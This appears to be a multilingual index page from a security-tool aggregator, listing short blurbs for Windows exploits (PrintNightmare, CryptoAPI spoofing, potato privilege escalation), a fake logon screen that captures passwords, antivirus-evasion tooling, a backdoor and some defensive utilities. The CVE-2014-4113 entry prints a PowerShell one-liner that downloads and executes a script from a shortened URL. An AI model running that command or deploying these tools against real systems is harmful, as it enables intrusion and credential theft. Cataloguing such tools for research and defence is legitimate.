chainoffools

CryptoAPI CVE-2020-0601: Windows CryptoAPI 스푸핑 취약점 악용. 자세한 내용은 블로그 게시물을 참조하세요. 설치 요구 사항 root@kitploit: pip install -U -r requirements.txt 인증서 생성은 OpenSSL 버전 1.0.2u까지 지원됩니다. CA 인증서 우리는 USERTrust ECC Certification Authority를 사용했지만 P-384 곡선에서 작동하는 모든 루트 인증서를 사용할 수 있습니다. 루트 인증서의 공개 키와 일치하는 개인 키를 생성하기...

CVE-2014-4113

CVE-2014-4113 PowerShell CVE-2014-4113 Только для Windows x64 iex New-Object Net.WebClient.DownloadString'http://bit.ly/1qosbJH'...

CVE-2021-34527

PrintNightmare CVE-2021-34527 This version of the PrintNightmare exploit is based on the code created by Cube0x0, with the following features: Ability to target multiple hosts. Built-in SMB server for payload delivery, removing the need for open file shares. Exploit includes both MS-RPRN & MS-PAR...

fakelogonscreen

FakeLogonScreen FakeLogonScreen is a utility to fake the Windows logon screen in order to obtain the user's password. The password entered is validated against the Active Directory or local machine to make sure it is correct and is then displayed to the console or saved to disk. It can either be...

GodPotato

GodPotato Based on the history of Potato privilege escalation for 6 years, from the beginning of RottenPotato to the end of JuicyPotatoNG, I discovered a new technology by researching DCOM, which enables privilege escalation in Windows 2012 - Windows 2022, now as long as you have...

CVE-2025-8088

Technical Deep Dive: CVE-2025-8088 - The Resilient Path Traversal Disclaimer: This content is for educational and research purposes only. Do not use this information for any malicious activities. Today, we're taking a deep dive into a fascinating path traversal vulnerability, tracked as...

avet

안티바이러스 우회 도구 AVET는 기술 발전 및 시간 제약으로 인해 더 이상 개발되지 않습니다. AVET는 침투 테스터의 작업을 더 쉽게 만들고 안티바이러스 우회 기술 및 악성 소프트웨어에서 사용되는 기타 방법을 실험하기 위해 개발된 안티바이러스 우회 도구입니다. v2.4 의 새로운 기능 및 이전 버전 변경 사항에 대한 개요는 CHANGELOG 파일을 참조하세요. 목차 설치 Docker 간편한 AVET 일반적인 AVET 문서 클릭하여 펼치기 데이터 검색 방법 암호화 및 인코딩 샌드박스 우회 추가 명령 실행 도우미 도구 AVET...

CVE-2024-36991-Tool

CVE-2024-36991-Tool This binary POC automates the exploitation of CVE-2024-36991 by sending crafted curl requests to a vulnerable Splunk instance. It retrieves sensitive files and saves them locally for further analysis. The script is modular, allowing users to target specific file categories e.g...

CVE-2021-36934-export-shadow-volume-POC

CVE-2021–36934 The derived hash is used for forgery such as PTH and bills. There is no detailed analysis here. In addition, given that access rights to most system files can be obtained, there should be more than this one method of exploitation, including Microsoft officials, which have also...

BugChecker

BugChecker Introduction BugChecker is a SoftICE-like kernel and user debugger for Windows 11 and Windows XP as well: it supports Windows versions from XP to 11, both x86 and x64. BugChecker doesn't require a second machine to be connected to the system being debugged, like in the case of WinDbg a...

Evtx_Log_Browser

Evtx 로그xml 브라우저 Windows evtx 이벤트 로그를 탐색하고 xml로 내보냅니다 최신 버전은여기에서 확인하세요 종속성: .NET Framework 4.8 Powershell 버전: 5.1...

ida_bochs_windows

idabochswindows 네이티브 Bochs 디버거에서 IDA Pro를 사용한 Windows 커널 디버깅용 헬퍼 스크립트 PDB 심볼 포함 python3 + idapython 7.4 Bochs 디버거: Bochs 디버거 GUI: 사용법 경고 : IDA를 열기 전에 환경 변수 NTSYMBOLPATH를 Windows 심볼로 설정해야 합니다. 예: root@kitploit: SRVC:\winsymbols "C:\Program Files\IDA Pro 7.7\cfg\dbgbochs.cfg" 파일을 편집하세요...

CVE-2023-21768-DSE-Bypass

Forked This project was forked from: WindowsLPEAFDCVE-2023-21768 . Updates This project is updated from chompie1337 exploit and will disable DSE, load an unsigned driver and enable DSE...

PetitPotam

PetitPotam PoC tool to coerce Windows hosts to authenticate to other machines via MS-EFSRPC EfsRpcOpenFileRaw or other functions : The tools use the LSARPC named pipe with inteface c681d488-d850-11d0-8c52-00c04fd90f7e because it's more prevalent. But it's possible to trigger with the EFSRPC named...

magicNetdefs

magicNetdfs Reference https://github.com/Wh04m1001/DFSCoerce Usage Further updates are being considered; for now this only verifies the exploitability of the RPC method. Specific exploitation of the SYSTEM token is planned for later. Description Utilizes the MS-DFSNM protocol...

WTSRM

WTSRM - Writing Tiny Small Reliable Malware demo repository for my corresponding talk. Unhooks all Windows Dlls with \KnownDlls\ No CRT dependencies Small size Low entropy Random string encryption key thus no plaintext strings API hashing Hook detection Walks around hooks for initial unhooking on...

RIPPL

RIPPL Manipulating PPL protected processes without using a driver This tool implements a userland exploit to manipulate Windows PPL protected processes. The technique was initially discussed by James Forshaw a.k.a. @tiraniddo and Clément Labro a.k.a. @itm4n in the following blogposts. Blog post...

whids

IMPORTANTE: este README y otra documentación no están actualizados para reflejar los cambios realizados en las últimas versiones beta ya que ocurrieron muchos cambios. Todo esto se actualizará a su debido tiempo cuando se lance una versión estable consulte Hoja de ruta hasta la próxima versión...

whids

IMPORTANT: this README and other documentation is not updated to reflect the changes made to latest beta releases as a lot of changes happened. All this will be updated in time when a stable version will be released see Roadmap until next release. Feel free to run beta releases on your own and as...

Arduino-Netcat-Backdoor

Arduino - Netcat - Backdoor for Windows Name suggestions welcome. root@kitploit: Proof Of Concept. Not intended for real life use. I can't take responsibillity for stuff other people do with this Attacks a Windows machine running Windows 7 or later, creating a persistent Backdoor. Funtionallity T...